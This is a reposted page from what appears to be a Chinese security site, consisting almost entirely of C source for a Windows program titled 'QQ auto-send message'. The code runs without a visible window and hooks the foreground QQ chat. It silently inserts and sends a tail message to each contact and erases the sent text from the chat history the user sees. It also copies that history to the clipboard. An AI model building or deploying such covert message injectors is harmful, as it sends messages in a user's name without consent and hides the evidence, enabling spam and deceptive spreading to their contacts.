首页 网络安全 安全学院 查看内容

QQ自动发送消息代码实现

2009-9-22 10:36 935 0

摘要: #include <windows.h> #pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")typede...
关键词: nbsp HWND return SendMessage hParent hHistory IsWindow szQqNumber FindChildWindow LPARAM

#include <windows.h> #pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")typedef struct tagMYCTRLINFO{ long CtrlID; long CtrlStyle; }MYCTRLINFO,*PMYCTRLINFO; HWND GetQQWnd(){HWND hwnd=GetForegroundWindow();DWORD dwStyle=GetWindowLong(hwnd,GWL_STYLE);char ClassBuf[255]={0};GetClassName(hwnd,ClassBuf,255);if(strcmp(ClassBuf,"#32770")==0 && dwStyle==0x160F0044){   return hwnd;}return (HWND)-1;} HWND hChild;char szQQlistNumber[MAX_PATH][MAX_PATH];int NumberForszQQlistNumber=0;BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam){if(((PMYCTRLINFO)(void*)lParam)->CtrlID==GetWindowLong(hwnd,GWL_ID) &&    ((PMYCTRLINFO)(void*)lParam)->CtrlStyle==GetWindowLong(hwnd,GWL_STYLE)){   hChild=hwnd;   return false;}return true;} HWND FindChildWindow(HWND hParent,long CtrlID,long CtrlStyle){hChild=(HWND)-1;  MYCTRLINFO ctrlinfo;ctrlinfo.CtrlID=CtrlID;ctrlinfo.CtrlStyle=CtrlStyle;if(EnumChildWindows(hParent,(WNDENUMPROC)EnumChildProc,   (LPARAM)(void*)(&ctrlinfo))){   return hChild;}return hChild;} HWND GetMsgEdit(HWND hQQWnd){return FindChildWindow(hQQWnd,0x0000037E,0x50011004);} HWND GetSendButton(HWND hQQWnd){return FindChildWindow(hQQWnd,0x0000077E,0x5001000B);} HWND GetHistoryWnd(HWND hParent){return FindChildWindow(hParent,0x380,0x50011804);} HWND GetNameBar(HWND hQQWnd){return FindChildWindow(hQQWnd,0x00000546,0x50000100);} BOOL IsQQUsed(char    (*pChar)[MAX_PATH],char *_szQqNumber,int iCntColum)   {        int    iX=0;while(iX<iCntColum)  {   if(lstrcmp(pChar[iX],_szQqNumber)==0)   {        return TRUE;   }   iX++;}    return FALSE;} void AddQQ(char szQQ[]){lstrcpy(szQQlistNumber[NumberForszQQlistNumber],szQQ);NumberForszQQlistNumber++;} void SendTail(){char szTest[]="Test By :X14oH4o";HWND hParent=GetQQWnd(); if(!IsWindow(hParent))   return; HWND   hMsg=GetMsgEdit(hParent);HWND hSendButton=GetSendButton(hParent);HWND hHistory=GetHistoryWnd(hParent); HWND hNameBar=GetNameBar(hParent);         if(!IsWindow(hMsg))   return;if(!IsWindow(hSendButton))   return;if(!IsWindow(hNameBar))   return;if(!IsWindow(hHistory))   return;   char szQQNumber[128]={0};GetWindowText(hNameBar,szQQNumber,32);   if(IsQQUsed(szQQlistNumber,szQQNumber,NumberForszQQlistNumber))    return;      AddQQ(szQQNumber);if(IsWindow(hMsg)&&IsWindow(hSendButton)){   int nFirstSel,nLastSel;    SendMessage(hHistory,EM_SETSEL,0,-1);    SendMessage(hHistory,WM_COPY,0,0);    SendMessage(hHistory,EM_SETSEL,0,0);      SendMessage(hHistory,EM_SETSEL,0,0xFFFF);     SendMessage(hHistory,EM_GETSEL,WPARAM(&nFirstSel),LPARAM(&nLastSel));   SendMessage(hMsg,EM_SETSEL,0xFFFF,0);   SendMessage(hMsg,EM_REPLACESEL,0,LPARAM(szTest));     SendMessage(hSendButton,WM_LBUTTONDOWN,0,0);   SendMessage(hSendButton,WM_LBUTTONUP,0,0);    SendMessage(hHistory,EM_SETSEL,nLastSel-1,0xFFFF);    SendMessage(hHistory,EM_REPLACESEL,0,0);}} void main(){   while(1){    Sleep(800);    SendTail();}}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部